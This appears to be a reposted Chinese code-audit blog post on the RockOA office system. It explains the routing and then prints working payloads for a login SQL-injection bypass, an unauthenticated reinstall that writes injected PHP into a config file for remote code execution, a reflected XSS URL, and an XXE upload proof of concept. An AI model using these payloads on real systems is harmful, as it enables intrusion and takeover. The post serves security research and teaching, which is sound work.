Y4教你审计系列之RockOA

admin 2024年10月29日00:06:42评论10 views字数 5046阅读16分49秒阅读模式

Y4教你审计系列之RockOA

写在前面

不知道是啥版本无语子,反正老师给的简单审一下,顺便吐槽一句老师连续两天只教用工具到处乱扫累

放了个备份在https://github.com/Y4tacker/CTFBackup/blob/main/oa/rockoa/rockoa.zip

架构

不同于其他这个默认首页上rock.php,也是简单的自己去实现了MVC,我们先看看rock.php

可以看到,首先是定义了项目的PROJECT变量,接下来判断是否安装以及如果没有登陆则跳转到登陆页

12345678910111213141516171819202122232425
<?php define('PROJECT', 'webrock');include_once('config/config.php');$islogin= (int)$rock->session(QOM.'adminid',0);$m= 'index';$p= PROJECT;$d= '';$a= 'default';$ajaxbool= $rock->get('ajaxbool','false');$mode= $rock->get('m', $m);$dir= $rock->get('d', $d);if(!$config['install'] && $mode != 'install')$rock->location('?m=install');//已可以正常登录,这句可删除if($mode=='login' || $dir=='taskrun' || $mode=='taskrun' || $mode=='install')$islogin = 1;//不可删除if($islogin == 0){if($ajaxbool == 'true'){echo 'sorry! not sign';}else{$rock->location('?m=login');}exit();}include_once('include/View.php');

接下来才是重点include_once('include/View.php');,这里看见有三个重要的参数,一个d决定项目路径也就是对应web根目录下的子目录名称,m对应模块名称其实就是下一级目录以及通过d决定了引入的类(目录与Action.php同名),以及a参数决定执行哪个方法,同样可以看到这里可以配合目录穿越引入其他的类,可惜不能控制前缀,不然低版本我们可以配合zip或者phar(php>5.3.0),payload像下面这样

12
zip:///var/www/html/info.zip%23info.phpphar:///var/www/html/info.zip/info.php

Y4教你审计系列之RockOA

接下来其实还有一个重要的参数ajaxbool也是get请求传入,如果为true则回去访问对应类方法当中的Ajax方法,如果不是则访问对应类方法的Action方法,并渲染tpl模板

Y4教你审计系列之RockOA

前台

由于是个OA,因此其实前台功能不多比如登陆、安装等基本上就无了不像我们的内容管理系统,这个更偏向于办公

登陆页SQL注入

这里简单测试万能密码就行了,其他的盲注之类的原理差不多,可以看见这里直接对参数进行拼接因此有sql注入的风险,这里的逻辑是先在数据库当中查出一条数据,再拿出密码去比对

Y4教你审计系列之RockOA

简单测试万能密码,其他的注入脱裤啥的就不测了,没必要,主要是这里是盲注我懒得去写脚本

Y4教你审计系列之RockOA

但是这里有一个问题,我们看进入了后台以后发现不是admin,再回到代码我们可以看到这里其实是id控制的,因此我们将union 第二个参数修改为admin对应的id即可,这里默认安装的时候设置的为1

Y4教你审计系列之RockOA

因此简单修改payload

1
adminuser=0' union select 'e10adc3949ba59abbe56e057f20f883e',1,3,'admin',5%23&adminpass=123456&rempass=0&button=1&jmpass=false

前台RCE/文件读取

这个版本很逗,有个逻辑漏洞导致可以重装再RCE,首先我们知道对于Ajax的请求也就是要求ajaxbool参数为true,而如果为true则必须要进行登陆,可能是因为这些请求都属于后台功能

12345678
if($islogin == 0){if($ajaxbool == 'true'){echo 'sorry! not sign';}else{$rock->location('?m=login');}exit();}

但是这里又很逗,咋说呢,来看看islogin是如何赋值的,因为这里是逻辑或所以只要满足任意条件就能登陆

1
if($mode=='login' || $dir=='taskrun' || $mode=='taskrun' || $mode=='install')$islogin = 1;//不可删除

因此我们完全可以控制m=install进入重装,最搞笑的是这里不像其他系统会首先判断是否已安装,这里就是可以随意重新安装无语子,而且最后他会把配置信息拼接写入一个php文件造成了前台的RCE

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091
<?php class installClassAction extends Action{public function initMysql(){$this->linkdb = false;}public function defaultAction(){$this->title= TITLE.'_安装';}public function saveAjax(){$host = $this->post('host');$user = $this->post('user');$pass = $this->post('pass');$base = $this->post('base');$perfix = $this->post('perfix');$title = $this->post('title');$qom = $this->post('qom');$url = $this->post('url');$highpass = $this->post('highpass');$msg  = '';if($this->isempt($msg)){@$conn=mysql_connect($host,$user,$pass);$msg = mysql_error();}if(!$this->isempt($msg)){$msg = '无法连接数据库密码/用户名有误';}if($this->isempt($msg)){@mysql_select_db($base, $conn);$msg = mysql_error();//数据库不存在就创建if(!$this->isempt($msg)){@mysql_query("CREATE DATABASE `$base` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci");$msg = mysql_error();if($this->isempt($msg)){@mysql_select_db($base, $conn);$msg = mysql_error();}}if(!$this->isempt($msg)){$msg = ''.$base.'数据库名不存在/不能创建';}}if($this->isempt($msg)){mysql_query("SET NAMES 'utf8'");$dburl = ROOT_PATH.'/rainrock.sql';if(!file_exists($dburl))$msg = '数据库sql文件不存在';}if($this->isempt($msg)){$sqlss = file_get_contents($dburl);$a = explode(";", $sqlss);for($i=0; $i<count($a)-1; $i++){$sql = $a[$i];$sql= str_replace('`rock_', '`'.$perfix.'', $sql); //前缀替换$bo = mysql_query($sql, $conn);if(!$bo){$msg = '导入文件失败';break;}}}if($this->isempt($msg)){mysql_query("update `".$perfix."option` set `value`='$title' where `num`='systemtitle'");//系统标题$txt = "<?phpreturn array('url'=> '$url',//系统URL'title'=> '$title',//系统默认标题'db_host'=> '$host',//数据库地址'db_user'=> '$user',//用户名'db_pass'=> '$pass',//密码'db_base'=> '$base',//数据库名称'perfix'=> '$perfix',//表名前缀'qom'=> '$qom',//session、cookie前缀'highpass'=> '$highpass',//超级管理员密码,可用于登录任何帐号'install'=> true//已安装,不要去掉啊);";$this->rock->createtxt('webrock/webrockConfig.php', $txt);}if($this->isempt($msg))$msg = 'success';echo $msg;}}

因此最终可以构造,前提要有个可以连接的服务器不然连接不上就无法执行后面的语句了

123
host=xxx:3306&user=admin&pass=admin123&base=ry&perfix=yy_&qom=',"123"=>phpinfo(),//http://xxxx/rock.php?a=save&m=install&ajaxbool=true

接下来只需要访问http://xxxx/webrock/webrockConfig.php,其实首页也行毕竟是配置文件肯定全局引入了的

Y4教你审计系列之RockOA

前台XSS

因为在路由出现找不到类的时候会直接echo绝对路径等信息,还可以用户控制部分字符那就很容易进行XSS了,这里不上代码了上面分析架构的时候说过

1
http://xxxxx/rock.php?a=zz&m=flowz<script>alert("Hacked By Y4tacker")</script>&d=&ajaxbool=true

Y4教你审计系列之RockOA

当然还可以配合rougue mysql server做任意文件读取,这里就不展开了

后台

前台功能不多,那现在进入后台,个人也是有洁癖的只喜欢前台洞或者一条从前台到后台的完整利用

现在前台也已经有sql注入了,后台的注入也有很多,数不胜数但是没啥意义了,漏洞原理都是一样的无过滤+参数拼接造成命令逃逸,后台XSS点也很多也是一样没意义了,这里就列举一些不一样的点

后台XXE

这里就简单做个POC验证即可,可以看到在webrock/humanres/kaoqin/kaoqinAction.phpY4教你审计系列之RockOA

看看这个reader其实就是解析Excel的一个功能,这时候不难想到可能存在xxe

Y4教你审计系列之RockOA

在canRead当中,可以看见首先对_rels/.rels做了simplexml_load_string处理,存在xxe,后面我们都不需要伪造完整的excel格式的文件了Y4教你审计系列之RockOA

这里简单测试一波能接收到url请求的连接就行,之后重命名为.rels即可

Y4教你审计系列之RockOA

简单python发波包

1234567
import requestsurl = "http://xxxx/rock.php?a=import&m=kaoqin&d=humanres&ajaxbool=true"r= requests.post(url,files={"file":open("1.zip","rb").read()})print(r.text)

Y4教你审计系列之RockOA

- source:y4tacker

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月29日00:06:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Y4教你审计系列之RockOAhttps://cn-sec.com/archives/3314777.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息